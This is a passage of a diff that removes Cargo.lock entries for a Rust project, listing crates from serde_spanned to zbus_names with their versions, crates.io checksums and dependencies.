-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "175ee3e80ae9982737ca543e96133087cbd9a485eecc3bc4de9c1a37b47ea59c"
-dependencies = [
- "proc-macro2",
- "quote",
- "syn",
-]
-
-[[package]]
-name = "serde_spanned"
-version = "0.6.8"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "87607cb1398ed59d48732e575a4c28a7a8ebf2454b964fe3f224f2afc07909e1"
-dependencies = [
- "serde",
-]
-
-[[package]]
-name = "sha-1"
-version = "0.10.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "f5058ada175748e33390e40e872bd0fe59a19f265d0158daa551c5a88a76009c"
-dependencies = [
- "cfg-if",
- "cpufeatures",
- "digest",
-]
-
-[[package]]
-name = "sha1"
-version = "0.10.6"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "e3bf829a2d51ab4a5ddf1352d8470c140cadc8301b2ae1789db023f01cedd6ba"
-dependencies = [
- "cfg-if",
- "cpufeatures",
- "digest",
-]
-
-[[package]]
-name = "sha2"
-version = "0.10.8"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "793db75ad2bcafc3ffa7c68b215fee268f537982cd901d132f89c6343f3a3dc8"
-dependencies = [
- "cfg-if",
- "cpufeatures",
- "digest",
-]
-
-[[package]]
-name = "sharded-slab"
-version = "0.1.7"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "f40ca3c46823713e0d4209592e8d6e826aa57e928f09752619fc696c499637f6"
-dependencies = [
- "lazy_static",
-]
-
-[[package]]
-name = "shlex"
-version = "1.3.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "0fda2ff0d084019ba4d7c6f371c95d8fd75ce3524c3cb8fb653a3023f6323e64"
-
-[[package]]
-name = "signal-hook-registry"
-version = "1.4.2"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "a9e9e0b4211b72e7b8b6e85c807d36c212bdb33ea8587f7569562a84df5465b1"
-dependencies = [
- "libc",
-]
-
-[[package]]
-name = "slab"
-version = "0.4.9"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "8f92a496fb766b417c996b9c5e57daf2f7ad3b0bebe1ccfca4856390e3d3bb67"
-dependencies = [
- "autocfg",
-]
-
-[[package]]
-name = "smallvec"
-version = "1.14.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "7fcf8323ef1faaee30a44a340193b1ac6814fd9b7b4e88e9d4519a3e4abe1cfd"
-
-[[package]]
-name = "ssri"
-version = "9.2.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "da7a2b3c2bc9693bcb40870c4e9b5bf0d79f9cb46273321bf855ec513e919082"
-dependencies = [
- "base64",
- "digest",
- "hex",
- "miette",
- "serde",
- "sha-1",
- "sha2",
- "thiserror 1.0.69",
- "xxhash-rust",
-]
-
-[[package]]
-name = "stable_deref_trait"
-version = "1.2.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "a8f112729512f8e442d81f95a8a7ddf2b7c6b8a1a6f509a95864142b30cab2d3"
-
-[[package]]
-name = "static_assertions"
-version = "1.1.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "a2eb9349b6444b326872e140eb1cf5e7c522154d69e7a0ffb0fb81c06b37543f"
-
-[[package]]
-name = "strum"
-version = "0.26.3"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "8fec0f0aef304996cf250b31b5a10dee7980c85da9d759361292b8bca5a18f06"
-
-[[package]]
-name = "strum_macros"
-version = "0.26.4"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "4c6bee85a5a24955dc440386795aa378cd9cf82acd5f764469152d2270e581be"
-dependencies = [
- "heck",
- "proc-macro2",
- "quote",
- "rustversion",
- "syn",
-]
-
-[[package]]
-name = "syn"
-version = "2.0.100"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "b09a44accad81e1ba1cd74a32461ba89dee89095ba17b32f5d03683b1b1fc2a0"
-dependencies = [
- "proc-macro2",
- "quote",
- "unicode-ident",
-]
-
-[[package]]
-name = "synstructure"
-version = "0.13.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "c8af7666ab7b6390ab78131fb5b0fce11d6b7a6951602017c35fa82800708971"
-dependencies = [
- "proc-macro2",
- "quote",
- "syn",
-]
-
-[[package]]
-name = "system-deps"
-version = "7.0.3"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "66d23aaf9f331227789a99e8de4c91bf46703add012bdfd45fdecdfb2975a005"
-dependencies = [
- "cfg-expr",
- "heck",
- "pkg-config",
- "toml",
- "version-compare",
-]
-
-[[package]]
-name = "tagptr"
-version = "0.2.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "7b2093cf4c8eb1e67749a6762251bc9cd836b6fc171623bd0a9d324d37af2417"
-
-[[package]]
-name = "target-lexicon"
-version = "0.12.16"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "61c41af27dd6d1e27b1b16b489db798443478cef1f06a660c96db617ba5de3b1"
-
-[[package]]
-name = "temp-dir"
-version = "0.1.14"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "bc1ee6eef34f12f765cb94725905c6312b6610ab2b0940889cfe58dae7bc3c72"
-
-[[package]]
-name = "tempfile"
-version = "3.19.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "488960f40a3fd53d72c2a29a58722561dee8afdd175bd88e3db4677d7b2ba600"
-dependencies = [
- "fastrand",
- "getrandom 0.3.1",
- "once_cell",
- "rustix 1.0.2",
- "windows-sys 0.59.0",
-]
-
-[[package]]
-name = "thiserror"
-version = "1.0.69"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "b6aaf5339b578ea85b50e080feb250a3e8ae8cfcdff9a461c9ec2904bc923f52"
-dependencies = [
- "thiserror-impl 1.0.69",
-]
-
-[[package]]
-name = "thiserror"
-version = "2.0.12"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "567b8a2dae586314f7be2a752ec7474332959c6460e02bde30d702a66d488708"
-dependencies = [
- "thiserror-impl 2.0.12",
-]
-
-[[package]]
-name = "thiserror-impl"
-version = "1.0.69"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "4fee6c4efc90059e10f81e6d42c60a18f76588c3d74cb83a0b242a2b6c7504c1"
-dependencies = [
- "proc-macro2",
- "quote",
- "syn",
-]
-
-[[package]]
-name = "thiserror-impl"
-version = "2.0.12"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "7f7cf42b4507d8ea322120659672cf1b9dbb93f8f2d4ecfd6e51350ff5b17a1d"
-dependencies = [
- "proc-macro2",
- "quote",
- "syn",
-]
-
-[[package]]
-name = "thread_local"
-version = "1.1.8"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "8b9ef9bad013ada3808854ceac7b46812a6465ba368859a37e2100283d2d719c"
-dependencies = [
- "cfg-if",
- "once_cell",
-]
-
-[[package]]
-name = "tinystr"
-version = "0.7.6"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "9117f5d4db391c1cf6927e7bea3db74b9a1c1add8f7eda9ffd5364f40f57b82f"
-dependencies = [
- "displaydoc",
- "zerovec",
-]
-
-[[package]]
-name = "toml"
-version = "0.8.20"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "cd87a5cdd6ffab733b2f74bc4fd7ee5fff6634124999ac278c35fc78c6120148"
-dependencies = [
- "serde",
- "serde_spanned",
- "toml_datetime",
- "toml_edit",
-]
-
-[[package]]
-name = "toml_datetime"
-version = "0.6.8"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "0dd7358ecb8fc2f8d014bf86f6f638ce72ba252a2c3a2572f2a795f1d23efb41"
-dependencies = [
- "serde",
-]
-
-[[package]]
-name = "toml_edit"
-version = "0.22.24"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "17b4795ff5edd201c7cd6dca065ae59972ce77d1b80fa0a84d94950ece7d1474"
-dependencies = [
- "indexmap",
- "serde",
- "serde_spanned",
- "toml_datetime",
- "winnow",
-]
-
-[[package]]
-name = "tr"
-version = "0.1.10"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "a592877f7cb2e5a6327b8c908fa6d51098482b1c87d478abdd783e61218f8151"
-dependencies = [
- "gettext-rs",
- "lazy_static",
-]
-
-[[package]]
-name = "tracing"
-version = "0.1.41"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "784e0ac535deb450455cbfa28a6f0df145ea1bb7ae51b821cf5e7927fdcfbdd0"
-dependencies = [
- "pin-project-lite",
- "tracing-attributes",
- "tracing-core",
-]
-
-[[package]]
-name = "tracing-attributes"
-version = "0.1.28"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "395ae124c09f9e6918a2310af6038fba074bcf474ac352496d5910dd59a2226d"
-dependencies = [
- "proc-macro2",
- "quote",
- "syn",
-]
-
-[[package]]
-name = "tracing-core"
-version = "0.1.33"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "e672c95779cf947c5311f83787af4fa8fffd12fb27e4993211a84bdfd9610f9c"
-dependencies = [
- "once_cell",
- "valuable",
-]
-
-[[package]]
-name = "tracing-log"
-version = "0.2.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "ee855f1f400bd0e5c02d150ae5de3840039a3f54b025156404e34c23c03f47c3"
-dependencies = [
- "log",
- "once_cell",
- "tracing-core",
-]
-
-[[package]]
-name = "tracing-subscriber"
-version = "0.3.19"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "e8189decb5ac0fa7bc8b96b7cb9b2701d60d48805aca84a238004d665fcc4008"
-dependencies = [
- "matchers",
- "nu-ansi-term 0.46.0",
- "once_cell",
- "regex",
- "sharded-slab",
- "smallvec",
- "thread_local",
- "tracing",
- "tracing-core",
- "tracing-log",
-]
-
-[[package]]
-name = "trait-variant"
-version = "0.1.2"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "70977707304198400eb4835a78f6a9f928bf41bba420deb8fdb175cd965d77a7"
-dependencies = [
- "proc-macro2",
- "quote",
- "syn",
-]
-
-[[package]]
-name = "typenum"
-version = "1.18.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "1dccffe3ce07af9386bfd29e80c0ab1a8205a2fc34e4bcd40364df902cfa8f3f"
-
-[[package]]
-name = "uds_windows"
-version = "1.1.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "89daebc3e6fd160ac4aa9fc8b3bf71e1f74fbf92367ae71fb83a037e8bf164b9"
-dependencies = [
- "memoffset",
- "tempfile",
- "winapi",
-]
-
-[[package]]
-name = "unicase"
-version = "2.8.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "75b844d17643ee918803943289730bec8aac480150456169e647ed0b576ba539"
-
-[[package]]
-name = "unicode-ident"
-version = "1.0.18"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "5a5f39404a5da50712a4c1eecf25e90dd62b613502b7e925fd4e4d19b5c96512"
-
-[[package]]
-name = "unicode-width"
-version = "0.1.14"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "7dd6e30e90baa6f72411720665d41d89b9a3d039dc45b8faea1ddd07f617f6af"
-
-[[package]]
-name = "url"
-version = "2.5.4"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "32f8b686cadd1473f4bd0117a5d28d36b1ade384ea9b5069a1c40aefed7fda60"
-dependencies = [
- "form_urlencoded",
- "idna",
- "percent-encoding",
- "serde",
-]
-
-[[package]]
-name = "urlencoding"
-version = "2.1.3"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "daf8dba3b7eb870caf1ddeed7bc9d2a049f3cfdfae7cb521b087cc33ae4c49da"
-
-[[package]]
-name = "utf16_iter"
-version = "1.0.5"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "c8232dd3cdaed5356e0f716d285e4b40b932ac434100fe9b7e0e8e935b9e6246"
-
-[[package]]
-name = "utf8_iter"
-version = "1.0.4"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "b6c140620e7ffbb22c2dee59cafe6084a59b5ffc27a8859a5f0d494b5d52b6be"
-
-[[package]]
-name = "uuid"
-version = "1.16.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "458f7a779bf54acc9f347480ac654f68407d3aab21269a6e3c9f922acd9e2da9"
-dependencies = [
- "getrandom 0.3.1",
- "rand 0.9.0",
-]
-
-[[package]]
-name = "valuable"
-version = "0.1.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "ba73ea9cf16a25df0c8caa16c51acb937d5712a8429db78a3ee29d5dcacd3a65"
-
-[[package]]
-name = "value-bag"
-version = "1.10.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "3ef4c4aa54d5d05a279399bfa921ec387b7aba77caf7a682ae8d86785b8fdad2"
-
-[[package]]
-name = "vcpkg"
-version = "0.2.15"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "accd4ea62f7bb7a82fe23066fb0957d48ef677f6eeb8215f372f52e48bb32426"
-
-[[package]]
-name = "version-compare"
-version = "0.2.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "852e951cb7832cb45cb1169900d19760cfa39b82bc0ea9c0e5a14ae88411c98b"
-
-[[package]]
-name = "version_check"
-version = "0.9.5"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "0b928f33d975fc6ad9f86c8f283853ad26bdd5b10b7f1542aa2fa15e2289105a"
-
-[[package]]
-name = "walkdir"
-version = "2.5.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "29790946404f91d9c5d06f9874efddea1dc06c5efe94541a7d6863108e3a5e4b"
-dependencies = [
- "same-file",
- "winapi-util",
-]
-
-[[package]]
-name = "wasi"
-version = "0.11.0+wasi-snapshot-preview1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "9c8d87e72b64a3b4db28d11ce29237c246188f4f51057d65a7eab63b7987e423"
-
-[[package]]
-name = "wasi"
-version = "0.13.3+wasi-0.2.2"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "26816d2e1a4a36a2940b96c5296ce403917633dff8f3440e9b236ed6f6bacad2"
-dependencies = [
- "wit-bindgen-rt",
-]
-
-[[package]]
-name = "wasm-bindgen"
-version = "0.2.100"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "1edc8929d7499fc4e8f0be2262a241556cfc54a0bea223790e71446f2aab1ef5"
-dependencies = [
- "cfg-if",
- "once_cell",
- "rustversion",
- "wasm-bindgen-macro",
-]
-
-[[package]]
-name = "wasm-bindgen-backend"
-version = "0.2.100"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "2f0a0651a5c2bc21487bde11ee802ccaf4c51935d0d3d42a6101f98161700bc6"
-dependencies = [
- "bumpalo",
- "log",
- "proc-macro2",
- "quote",
- "syn",
- "wasm-bindgen-shared",
-]
-
-[[package]]
-name = "wasm-bindgen-futures"
-version = "0.4.50"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "555d470ec0bc3bb57890405e5d4322cc9ea83cebb085523ced7be4144dac1e61"
-dependencies = [
- "cfg-if",
- "js-sys",
- "once_cell",
- "wasm-bindgen",
- "web-sys",
-]
-
-[[package]]
-name = "wasm-bindgen-macro"
-version = "0.2.100"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "7fe63fc6d09ed3792bd0897b314f53de8e16568c2b3f7982f468c0bf9bd0b407"
-dependencies = [
- "quote",
- "wasm-bindgen-macro-support",
-]
-
-[[package]]
-name = "wasm-bindgen-macro-support"
-version = "0.2.100"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "8ae87ea40c9f689fc23f209965b6fb8a99ad69aeeb0231408be24920604395de"
-dependencies = [
- "proc-macro2",
- "quote",
- "syn",
- "wasm-bindgen-backend",
- "wasm-bindgen-shared",
-]
-
-[[package]]
-name = "wasm-bindgen-shared"
-version = "0.2.100"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "1a05d73b933a847d6cccdda8f838a22ff101ad9bf93e33684f39c1f5f0eece3d"
-dependencies = [
- "unicode-ident",
-]
-
-[[package]]
-name = "web-sys"
-version = "0.3.77"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "33b6dd2ef9186f1f2072e409e99cd22a975331a6b3591b12c764e0e55c60d5d2"
-dependencies = [
- "js-sys",
- "wasm-bindgen",
-]
-
-[[package]]
-name = "winapi"
-version = "0.3.9"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "5c839a674fcd7a98952e593242ea400abe93992746761e38641405d28b00f419"
-dependencies = [
- "winapi-i686-pc-windows-gnu",
- "winapi-x86_64-pc-windows-gnu",
-]
-
-[[package]]
-name = "winapi-i686-pc-windows-gnu"
-version = "0.4.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "ac3b87c63620426dd9b991e5ce0329eff545bccbbb34f3be09ff6fb6ab51b7b6"
-
-[[package]]
-name = "winapi-util"
-version = "0.1.9"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "cf221c93e13a30d793f7645a0e7762c55d169dbb0a49671918a2319d289b10bb"
-dependencies = [
- "windows-sys 0.59.0",
-]
-
-[[package]]
-name = "winapi-x86_64-pc-windows-gnu"
-version = "0.4.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "712e227841d057c1ee1cd2fb22fa7e5a5461ae8e48fa2ca79ec42cfc1931183f"
-
-[[package]]
-name = "windows"
-version = "0.58.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "dd04d41d93c4992d421894c18c8b43496aa748dd4c081bac0dc93eb0489272b6"
-dependencies = [
- "windows-core 0.58.0",
- "windows-targets",
-]
-
-[[package]]
-name = "windows"
-version = "0.60.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "ddf874e74c7a99773e62b1c671427abf01a425e77c3d3fb9fb1e4883ea934529"
-dependencies = [
- "windows-collections",
- "windows-core 0.60.1",
- "windows-future",
- "windows-link",
- "windows-numerics",
-]
-
-[[package]]
-name = "windows-collections"
-version = "0.1.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "5467f79cc1ba3f52ebb2ed41dbb459b8e7db636cc3429458d9a852e15bc24dec"
-dependencies = [
- "windows-core 0.60.1",
-]
-
-[[package]]
-name = "windows-core"
-version = "0.52.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "33ab640c8d7e35bf8ba19b884ba838ceb4fba93a4e8c65a9059d08afcfc683d9"
-dependencies = [
- "windows-targets",
-]
-
-[[package]]
-name = "windows-core"
-version = "0.58.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "6ba6d44ec8c2591c134257ce647b7ea6b20335bf6379a27dac5f1641fcf59f99"
-dependencies = [
- "windows-implement 0.58.0",
- "windows-interface 0.58.0",
- "windows-result 0.2.0",
- "windows-strings 0.1.0",
- "windows-targets",
-]
-
-[[package]]
-name = "windows-core"
-version = "0.60.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "ca21a92a9cae9bf4ccae5cf8368dce0837100ddf6e6d57936749e85f152f6247"
-dependencies = [
- "windows-implement 0.59.0",
- "windows-interface 0.59.0",
- "windows-link",
- "windows-result 0.3.1",
- "windows-strings 0.3.1",
-]
-
-[[package]]
-name = "windows-future"
-version = "0.1.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "a787db4595e7eb80239b74ce8babfb1363d8e343ab072f2ffe901400c03349f0"
-dependencies = [
- "windows-core 0.60.1",
- "windows-link",
-]
-
-[[package]]
-name = "windows-implement"
-version = "0.58.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "2bbd5b46c938e506ecbce286b6628a02171d56153ba733b6c741fc627ec9579b"
-dependencies = [
- "proc-macro2",
- "quote",
- "syn",
-]
-
-[[package]]
-name = "windows-implement"
-version = "0.59.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "83577b051e2f49a058c308f17f273b570a6a758386fc291b5f6a934dd84e48c1"
-dependencies = [
- "proc-macro2",
- "quote",
- "syn",
-]
-
-[[package]]
-name = "windows-interface"
-version = "0.58.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "053c4c462dc91d3b1504c6fe5a726dd15e216ba718e84a0e46a88fbe5ded3515"
-dependencies = [
- "proc-macro2",
- "quote",
- "syn",
-]
-
-[[package]]
-name = "windows-interface"
-version = "0.59.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "cb26fd936d991781ea39e87c3a27285081e3c0da5ca0fcbc02d368cc6f52ff01"
-dependencies = [
- "proc-macro2",
- "quote",
- "syn",
-]
-
-[[package]]
-name = "windows-link"
-version = "0.1.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "6dccfd733ce2b1753b03b6d3c65edf020262ea35e20ccdf3e288043e6dd620e3"
-
-[[package]]
-name = "windows-numerics"
-version = "0.1.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "005dea54e2f6499f2cee279b8f703b3cf3b5734a2d8d21867c8f44003182eeed"
-dependencies = [
- "windows-core 0.60.1",
- "windows-link",
-]
-
-[[package]]
-name = "windows-result"
-version = "0.2.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "1d1043d8214f791817bab27572aaa8af63732e11bf84aa21a45a78d6c317ae0e"
-dependencies = [
- "windows-targets",
-]
-
-[[package]]
-name = "windows-result"
-version = "0.3.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "06374efe858fab7e4f881500e6e86ec8bc28f9462c47e5a9941a0142ad86b189"
-dependencies = [
- "windows-link",
-]
-
-[[package]]
-name = "windows-strings"
-version = "0.1.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "4cd9b125c486025df0eabcb585e62173c6c9eddcec5d117d3b6e8c30e2ee4d10"
-dependencies = [
- "windows-result 0.2.0",
- "windows-targets",
-]
-
-[[package]]
-name = "windows-strings"
-version = "0.3.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "87fa48cc5d406560701792be122a10132491cff9d0aeb23583cc2dcafc847319"
-dependencies = [
- "windows-link",
-]
-
-[[package]]
-name = "windows-sys"
-version = "0.52.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "282be5f36a8ce781fad8c8ae18fa3f9beff57ec1b52cb3de0789201425d9a33d"
-dependencies = [
- "windows-targets",
-]
-
-[[package]]
-name = "windows-sys"
-version = "0.59.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "1e38bc4d79ed67fd075bcc251a1c39b32a1776bbe92e5bef1f0bf1f8c531853b"
-dependencies = [
- "windows-targets",
-]
-
-[[package]]
-name = "windows-targets"
-version = "0.52.6"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "9b724f72796e036ab90c1021d4780d4d3d648aca59e491e6b98e725b84e99973"
-dependencies = [
- "windows_aarch64_gnullvm",
- "windows_aarch64_msvc",
- "windows_i686_gnu",
- "windows_i686_gnullvm",
- "windows_i686_msvc",
- "windows_x86_64_gnu",
- "windows_x86_64_gnullvm",
- "windows_x86_64_msvc",
-]
-
-[[package]]
-name = "windows_aarch64_gnullvm"
-version = "0.52.6"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "32a4622180e7a0ec044bb555404c800bc9fd9ec262ec147edd5989ccd0c02cd3"
-
-[[package]]
-name = "windows_aarch64_msvc"
-version = "0.52.6"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "09ec2a7bb152e2252b53fa7803150007879548bc709c039df7627cabbd05d469"
-
-[[package]]
-name = "windows_i686_gnu"
-version = "0.52.6"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "8e9b5ad5ab802e97eb8e295ac6720e509ee4c243f69d781394014ebfe8bbfa0b"
-
-[[package]]
-name = "windows_i686_gnullvm"
-version = "0.52.6"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "0eee52d38c090b3caa76c563b86c3a4bd71ef1a819287c19d586d7334ae8ed66"
-
-[[package]]
-name = "windows_i686_msvc"
-version = "0.52.6"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "240948bc05c5e7c6dabba28bf89d89ffce3e303022809e73deaefe4f6ec56c66"
-
-[[package]]
-name = "windows_x86_64_gnu"
-version = "0.52.6"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "147a5c80aabfbf0c7d901cb5895d1de30ef2907eb21fbbab29ca94c5b08b1a78"
-
-[[package]]
-name = "windows_x86_64_gnullvm"
-version = "0.52.6"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "24d5b23dc417412679681396f2b49f3de8c1473deb516bd34410872eff51ed0d"
-
-[[package]]
-name = "windows_x86_64_msvc"
-version = "0.52.6"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "589f6da84c646204747d1270a2a5661ea66ed1cced2631d546fdfb155959f9ec"
-
-[[package]]
-name = "winnow"
-version = "0.7.4"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "0e97b544156e9bebe1a0ffbc03484fc1ffe3100cbce3ffb17eac35f7cdd7ab36"
-dependencies = [
- "memchr",
-]
-
-[[package]]
-name = "wit-bindgen-rt"
-version = "0.33.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "3268f3d866458b787f390cf61f4bbb563b922d091359f9608842999eaee3943c"
-dependencies = [
- "bitflags 2.9.0",
-]
-
-[[package]]
-name = "write16"
-version = "1.0.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "d1890f4022759daae28ed4fe62859b1236caebfc61ede2f63ed4e695f3f6d936"
-
-[[package]]
-name = "writeable"
-version = "0.5.5"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "1e9df38ee2d2c3c5948ea468a8406ff0db0b29ae1ffde1bcf20ef305bcc95c51"
-
-[[package]]
-name = "xdg-home"
-version = "1.3.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "ec1cdab258fb55c0da61328dc52c8764709b249011b2cad0454c72f0bf10a1f6"
-dependencies = [
- "libc",
- "windows-sys 0.59.0",
-]
-
-[[package]]
-name = "xxhash-rust"
-version = "0.8.15"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "fdd20c5420375476fbd4394763288da7eb0cc0b8c11deed431a91562af7335d3"
-
-[[package]]
-name = "yoke"
-version = "0.7.5"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "120e6aef9aa629e3d4f52dc8cc43a015c7724194c97dfaf45180d2daf2b77f40"
-dependencies = [
- "serde",
- "stable_deref_trait",
- "yoke-derive",
- "zerofrom",
-]
-
-[[package]]
-name = "yoke-derive"
-version = "0.7.5"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "2380878cad4ac9aac1e2435f3eb4020e8374b5f13c296cb75b4620ff8e229154"
-dependencies = [
- "proc-macro2",
- "quote",
- "syn",
- "synstructure",
-]
-
-[[package]]
-name = "zbus"
-version = "4.4.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "bb97012beadd29e654708a0fdb4c84bc046f537aecfde2c3ee0a9e4b4d48c725"
-dependencies = [
- "async-broadcast",
- "async-executor",
- "async-fs",
- "async-io",
- "async-lock",
- "async-process",
- "async-recursion",
- "async-task",
- "async-trait",
- "blocking",
- "enumflags2",
- "event-listener 5.4.0",
- "futures-core",
- "futures-sink",
- "futures-util",
- "hex",
- "nix",
- "ordered-stream",
- "rand 0.8.5",
- "serde",
- "serde_repr",
- "sha1",
- "static_assertions",
- "tracing",
- "uds_windows",
- "windows-sys 0.52.0",
- "xdg-home",
- "zbus_macros 4.4.0",
- "zbus_names 3.0.0",
- "zvariant 4.2.0",
-]
-
-[[package]]
-name = "zbus"
-version = "5.5.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "59c333f648ea1b647bc95dc1d34807c8e25ed7a6feff3394034dc4776054b236"
-dependencies = [
- "async-broadcast",
- "async-executor",
- "async-fs",
- "async-io",
- "async-lock",
- "async-process",
- "async-recursion",
- "async-task",
- "async-trait",
- "blocking",
- "enumflags2",
- "event-listener 5.4.0",
- "futures-core",
- "futures-lite",
- "hex",
- "nix",
- "ordered-stream",
- "serde",
- "serde_repr",
- "static_assertions",
- "tracing",
- "uds_windows",
- "windows-sys 0.59.0",
- "winnow",
- "xdg-home",
- "zbus_macros 5.5.0",
- "zbus_names 4.2.0",
- "zvariant 5.4.0",
-]
-
-[[package]]
-name = "zbus_macros"
-version = "4.4.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "267db9407081e90bbfa46d841d3cbc60f59c0351838c4bc65199ecd79ab1983e"
-dependencies = [
- "proc-macro-crate",
- "proc-macro2",
- "quote",
- "syn",
- "zvariant_utils 2.1.0",
-]
-
-[[package]]
-name = "zbus_macros"
-version = "5.5.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "f325ad10eb0d0a3eb060203494c3b7ec3162a01a59db75d2deee100339709fc0"
-dependencies = [
- "proc-macro-crate",
- "proc-macro2",
- "quote",
- "syn",
- "zbus_names 4.2.0",
- "zvariant 5.4.0",
- "zvariant_utils 3.2.0",
-]
-
-[[package]]
-name = "zbus_names"
